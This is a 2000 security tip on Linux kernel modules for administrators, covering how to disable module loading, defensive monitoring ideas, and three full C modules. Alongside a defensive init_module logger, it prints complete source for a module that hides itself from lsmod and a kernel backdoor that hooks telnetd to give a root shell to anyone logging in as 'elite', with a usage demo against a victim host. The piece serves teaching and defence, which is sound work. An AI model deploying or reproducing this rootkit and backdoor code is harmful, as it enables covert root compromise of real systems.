|
|
 | |  |  | Linux Kernel Modules (LKM): what benefits for administrators ? |  |
par Frédéric Lavécot (25/10/2000)
--[ Introduction
This tip was written to show that modules can help an administrator to
secure his station(s).
This tip is designed to give examples and further information to
"Advantages [of modules] for the administrator" of Denis Ducamp's presentation
"Linux security characteristics" :
http://www.hsc.fr/ressources/presentations/linux2000/index.html.en
--[ Reminder
A kernel module is a piece of code that adds functionnalities to the kernel
without needing to recompile or reboot the system.
Modules can be dynamically loaded or unloaded with the commands insmod and
rmmod. You have to be root to load modules in the kernel so your system can't
be compromised because of modules.
Modules aren't directly related to security but as they are executed in the
kernel space, they have full control over the running system. Therefore,
modules can intercept system calls, access all files and kill any process.
This is why a cracker taking control of a Linux box could become litterally
invisible for the administrator(s).
The adore rootkit is a good example of what script-kidies can do :
http://teso.scene.at/releases.php3
--[ How to protect yourself from modules ?
By compiling a monolithic kernel :
- answer Y or N to all the options in the Kernel
- do not activate the Module support :
Answer N to Enable Module Support in Loadable Module Support
[note: http://thc.pimmel.com/files/thc/LKM_HACKING.html explains how to patch
a kernel and therefore bypassing the impossibility to load modules.]
By deleting the CAP_SYS_MODULE capability in the /proc/sys/kernel/cap-bound
file. The lcap utility offers an easy access to this file.
lcap can be found at http://pweb.netcom.com/~spoon/lcap/
Capabilities are outside the scope of this tip but are very well explained in
the presentation "Linux security characteristics" :
http://www.hsc.fr/ressources/presentations/linux2000/index.html.en
written by Denis Ducamp.
--[What can I do with modules to protect myself ?
Everything ! Modules are part of the Kernel and can take control or monitor
the running system. Modules can create or intercept system calls.
Only the system adminstrator's imagination is a limit.
--[ Examples
Intercept the init_module system call so that the administrator can be
warned of any attempt to load a module.
(A sample module realising this interception is given at the end of this tip)
Check the parameters to certain system calls.
Log all the commands of special users.
Add an authentication function to critical functions (loading a module,
activating the promiscuous mode, ...)
Here are modules that have already been written that can help to enhance the
security of a Linux system :
stealth.c : this module (which can also be compiled as part of the kernel)
makes it possible to log and to reject all the incoming packets that have
flags wrongly set.
stealth.c can be found at : http://www.innu.org/~sean/sytek.htm
11logger (from antirez) : is a patch for the kernel plus a module that log all
the SIGSEGV (segmentation fault) signals. This makes it possible to detect
someone trying to exploit a buffer overflow on your system.
The main page for 11loger is at http://www.kyuzz.org/antirez/sigsegv/
-----------------------------------------------------------------------------
Here are 3 modules that give examples of what it is possible to do to with
modules.
intercept.c : intercept the init_module system call to warn the kernel each
time a module is being loaded.
stealth.c : example of how a module can hide itself.
ex3.c : example of how a module can give a root shell to someone connecting via
telnet
-----------------------------------------------------------------------------
intercept.c
/*
Intercept the init_module() systemcall
and send a message to the kernel
written by Frederic Lavecot : frederic.lavecot@hsc.fr
almost all of the source has been taken from :
How to intercept Syscalls in (nearly) Complete Linux Loadable Kernel Module
by pragmatic / THC
and
the adore root-kit
by Stealth
!!!! NO SMP SUPPORT !!!!
By looking at the stealth module by Derek Callaway
I guess adding these lines after the #include would do but I have no way
to test this.
#ifdef __SMP__
#define SLOT_NUMBER() (cpu_number_map[smp_processor_id()]*2 + !in_interrupt())
#else
#define SLOT_NUMBER() (!in_interrupt())
#endif
To compile :
gcc -c -O2 -Wall -I/usr/src/linux/include -DMODVERSIONS <file>.c -o <file>.o
*/
#define MODULE
#define __KERNEL__
#ifdef MODVERSIONS
#include <linux/modversions.h>
#endif
#include <linux/config.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/malloc.h>
#include <linux/unistd.h>
#include <linux/string.h>
#include <sys/syscall.h>
#include <asm/uaccess.h>
#include <linux/smp_lock.h>
#include <asm/segment.h>
extern void* sys_call_table[]; /* sys_call_table is exported, so we
can access it */
int (*orig_syscall)(const char *name_user, struct module *mod_user);
/* the original systemcall */
/*
* Copy the name of a module from user space.
*/
/* from the /usr/src/linux/kernel/module.c file that comes with the kernel */
static inline long
get_mod_name(const char *user_name, char **buf)
{
unsigned long page;
long retval;
if ((unsigned long)user_name >= TASK_SIZE
&& !segment_eq(get_fs (), KERNEL_DS))
return -EFAULT;
page = __get_free_page(GFP_KERNEL);
if (!page)
return -ENOMEM;
retval = strncpy_from_user((char *)page, user_name, PAGE_SIZE);
if (retval > 0) {
if (retval < PAGE_SIZE) {
*buf = (char *)page;
return retval;
}
retval = -ENAMETOOLONG;
} else if (!retval)
retval = -EINVAL;
free_page(page);
return retval;
}
int hacked_syscall(const char *name_user, struct module *mod_user)
{
char *name;
long namelen;
printk(KERN_INFO "\n\n!! LOADING A MODULE !!\n");
if ((namelen = get_mod_name(name_user, &name)) < 0)
{
printk(KERN_INFO "!! Could not read module name\n");
}
else
{
printk(KERN_INFO "!! Module %s loaded\n",name);
}
/*
Do anything you want like :
send a packet to a remote station
send a message to the kernel
send a signal to a process ...
add an authentication function
BUT be carefull you are in kernel space !
*/
return orig_syscall(name_user, mod_user);
/*don't forget to call the original system-call*/
}
int init_module(void) /*module setup*/
{
struct module *m = &__this_module;
orig_syscall=sys_call_table[SYS_init_module];
sys_call_table[SYS_init_module]=hacked_syscall;
printk(KERN_INFO "Module %s loaded\n",m->name);
printk(KERN_INFO "Tracing init_module systemcalls\n");
return 0;
}
int cleanup_module(void) /*module shutdown*/
{
sys_call_table[SYS_init_module]=orig_syscall;
/*set back the original systemcall */
printk("Systemcall tracing Terminated\n");
return 0;
}
------------------------------------------------------------------------------
stealth.c
/*** A kernel-module for 2.2 kernels, hiding itself.
*** It was easier in 2.0 kernels and i found all the old
*** techniqes not to work. So i invented new one. ;-)
*** (C) 1999/2000 by Stealth.
*** All under the GPL. SO YOU USE IT AT YOUR OWN RISK.
*** http://www.kalug.lug.net/stealth
***
*** Greets to all my friends, you know who you are.
***/
#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/kernel.h>
#include <sys/syscall.h>
#include <linux/unistd.h>
#include <linux/sched.h>
#include <asm/uaccess.h>
#include <linux/mm.h>
#include <linux/smp_lock.h>
#ifndef NULL
#define NULL ((void*)0)
#endif
extern void *sys_call_table[];
int (*old_exec)(struct pt_regs regs);
int new_exec(struct pt_regs regs)
{
int error = 0;
char *filename;
lock_kernel();
filename = getname((char*)regs.ebx);
error = PTR_ERR(filename);
if (IS_ERR(error))
goto out;
printk("Hi, the hook is still installed. ;-)\n");
error = do_execve(filename, (char**)regs.ecx, (char**)regs.edx, ®s);
putname(filename);
out:
unlock_kernel();
return error;
}
int init_module()
{
int i = 0;
struct module *m = &__this_module, *lastm = NULL,
*to_delete = NULL;
EXPORT_NO_SYMBOLS;
/* install hook */
old_exec = sys_call_table[__NR_execve];
sys_call_table[__NR_execve] = new_exec;
/* get next module-struct */
to_delete = m->next;
if (!to_delete) {
printk("No module found for exchange }|-(\n");
return 0;
}
/* and steal all information about it */
m->name = to_delete->name;
m->size = to_delete->size;
m->flags = to_delete->flags;
/* even set the right USE_COUNT */
for (i = 0; i < GET_USE_COUNT(to_delete); i++)
MOD_INC_USE_COUNT;
/* and drop the attacked module from the list
* this won't delete it but makes it disapear for lsmod
*/
m->next = to_delete->next;
printk("The following modules are visible now:\n");
while (m) {
printk("%s\n", m->name);
m = m->next;
}
printk("Tzzz... (sleeping)\n");
return 0;
}
int cleanup_module()
{
sys_call_table[__NR_execve] = old_exec;
return 0;
}
------------------------------------------------------------------------------
ex3.c
/*** LINUX 2.2.x & 2.0.x kernel based backdoor for special logins. (net-version)
*** (C) 1999/2000 by Stealth <stealth@cyberspace.org>,
*** ### Use it at your own risk, for educational purposes only, ###
*** under the GNU public license.
***
*** Usage: (after cc -c -O2 ex3.c and the other things)
***
*** [eve@evil]$ telnet victum.net
*** Trying 66.66.66.66 ...
*** Connecting to victum.net
*** ...
*** victum login:<elite>Connection closed by foreign host
*** [eve@evil]$ telnet victum.net
*** Trying 66.66.66.66 ...
*** Connecting to victum.net
***
*** [root@victum]#
*** Voila!
*** NOTE, that in the short gap of time between the 2 telnet's, _everyone_
*** who telnet's to victum.net will get a rootshell!
***
*** You should know, that it's possible to hide this module, so you
*** cannot see it via 'lsmod'. I didn't implemented this to avoid
*** real-live testings by script-kiddiez.
*** The module was tested on RH 5.1 with kernel 2.0.35 and 2.2.5
*** and works well there.
***/
#define __KERNEL__
#define MODULE
#define S_KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))
#define ELITE "elite"
#define SHELL "/bin/bash"
#define LOGIN "/bin/login"
#define TELNETD "/usr/sbin/in.telnetd"
#include <linux/version.h>
#include <sys/syscall.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/types.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/sched.h>
#include <asm/segment.h>
#include <linux/mm.h>
#if LINUX_VERSION_CODE < S_KERNEL_VERSION(2,2,0)
#define OLD_KERNEL
#else
#include <asm/uaccess.h>
#endif
extern void *sys_call_table[];
/* this functions will we replace */
int (*o_read)(int, char*, int);
int (*o_execve)(struct pt_regs regs);
int (*o_exit)(int);
/* for the PID of in.telnetd */
int telnetd = -1;
/* will we go to supervisor mode ? */
int ok_give_her_a_shell = 0;
/* true if SHELL is not exec'ed */
int not_a_shell = 1;
/* 1st replaced systemcall */
int n_read(int fd, char *s, int len)
{
int r = 0;
static int howmuch = 0;
static char elitelogin[100] = {0};
/* call it as normal */
r = o_read(fd, s, len);
/* if this is called by in.telnetd AND from 'stdin' AND
* we didn't already gave for this PID a shell AND she is unprivileged
*/
if (!fd && current->pid == telnetd && howmuch < 90 &&
not_a_shell && !ok_give_her_a_shell) {
#ifdef DEBUG
printk("%d", howmuch);
#endif
/* ignore first telnetproto-stuff; only fetch login */
if (howmuch >= 6)
#ifdef OLD_KERNEL
elitelogin[howmuch-6] = get_user(s);
#else
get_user(elitelogin[howmuch-6], s);
#endif
howmuch++;
}
/* Do we got a login ? */
if (howmuch >= 6+strlen(ELITE) && current->pid == telnetd) {
#ifdef DEBUG
printk("%s\n", elitelogin);
#endif
/* Is it our special one ? */
if (strncmp(elitelogin, ELITE, strlen(ELITE)) == 0) {
#ifdef DEBUG
printk("Ok, switching into elite-mode.\n");
#endif
ok_give_her_a_shell = 1;
}
/* put us back to normal mode; next one can dialin ;-) */
telnetd = -1;
howmuch = 0;
memset(elitelogin, 0, 100);
/* quit in.telnetd */
if (ok_give_her_a_shell)
o_exit(0);
}
return r;
}
/* redirected execve() call */
int n_exec(struct pt_regs regs)
{
int error = 0;
char *filename = NULL, *ar, **argv;
/* get filename from user-space */
#ifdef OLD_KERNEL
if ((error = getname((char*)regs.ebx, &filename)) != 0)
return error;
#else
filename = getname((char*)regs.ebx);
#endif
if (ok_give_her_a_shell && strncmp(filename, LOGIN, strlen(LOGIN)) == 0) {
#ifdef DEBUG
printk("spawning a shell...\n");
#endif
strcpy(filename, SHELL);
argv = (char**)regs.ecx;
/* set argv[1] to '\0' */
put_user(0, argv + 1);
/* go into SHELL-mode */
not_a_shell = 0;
error = do_execve(filename, (char**)regs.ecx, (char**)regs.edx, ®s);
putname(filename);
#ifdef DEBUG
printk("Ok, connection should be established...\n");
#endif
/* after this, the strange if() above should give true for
* next session
*/
ok_give_her_a_shell = 0;
telnetd = -1;
not_a_shell = 1;
return error;
}
/* look if telnetd is called */
if (strncmp(filename, TELNETD, strlen(TELNETD)) == 0 && telnetd == -1)
telnetd = current->pid;
#ifdef DEBUG
printk("execve(\"%s\") called\n", filename);
#endif
/* execute as normal */
error = do_execve(filename, (char**)regs.ecx, (char**)regs.edx, ®s);
putname(filename);
return error;
}
/* redirect the syscalls */
int init_module(void)
{
#ifdef OLD_KERNEL
register_symtab(NULL);
#else
EXPORT_NO_SYMBOLS;
#endif
o_execve = sys_call_table[__NR_execve];
o_read = sys_call_table[__NR_read];
o_exit = sys_call_table[__NR_exit];
sys_call_table[__NR_execve] = (void*)n_exec;
sys_call_table[__NR_read] = (void*)n_read;
return 0;
}
int cleanup_module(void)
{
sys_call_table[__NR_execve] = o_execve;
sys_call_table[__NR_read] = o_read;
return 0;
}
|